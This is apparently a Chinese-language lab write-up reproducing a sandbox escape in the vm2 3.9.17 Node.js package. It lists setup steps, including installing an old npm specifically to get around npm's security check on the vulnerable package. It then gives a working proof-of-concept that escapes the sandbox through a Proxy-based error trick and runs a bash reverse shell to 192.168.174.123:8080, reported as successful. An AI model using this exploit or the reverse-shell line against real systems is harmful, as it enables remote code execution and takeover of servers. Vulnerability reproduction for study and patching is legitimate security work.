Vm2沙箱逃逸漏洞复现
CentOS7(Nodejs和vm@3.9.17)
PS:安装低版本npm是为了规避npm的内部审核机制(高版本npm会检查vm2安装包的安全性)
(1)流程
- 低版本nodejs + 低版本npm
- 利用低版本npm安装vm@3.9.17
- 升级至高版本nodejs
- 复现漏洞
(2)开始操作
- 安装低版本nodejs + 低版本npm
wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz --- 解压
mv node-v0.10.25-linux-x64 /usr/local/nodejs --- 更改名称
./configure --prefix=/usr/local/nodejs --- 配置目录
make && make install --- 编译安装
ln -s /usr/local/nodejs/bin/node /usr/local/bin --- 建立node软链接
ln -s /usr/local/nodejs/bin/npm /usr/local/bin --- 建立npm软链接
npm config set registry https://registry.npm.taobao.org --- 设置镜像源
npm config list --- 查看设置信息
查看版本
安装gcc
- 利用低版本npm安装vm2@3.9.17
npm install vm2@3.9.17
- 升级nodejs至高版本
安装nvm
配置环境变量,使得环境变量生效
nvm list-remote --- 查看版本
nvm install v16.18.1 --- 安装指定版本
nvm use v16.18.1 --- 切换至指定版本
node --version --- 查看版本
最终复现环境所需版本
(3)漏洞复现
- poc
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("bash -i >& /dev/tcp/192.168.174.123/8080 0>&1").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code));
- 将poc写入js文件,并运行
- 攻击机监听端口,执行1.js文件
- 反弹成功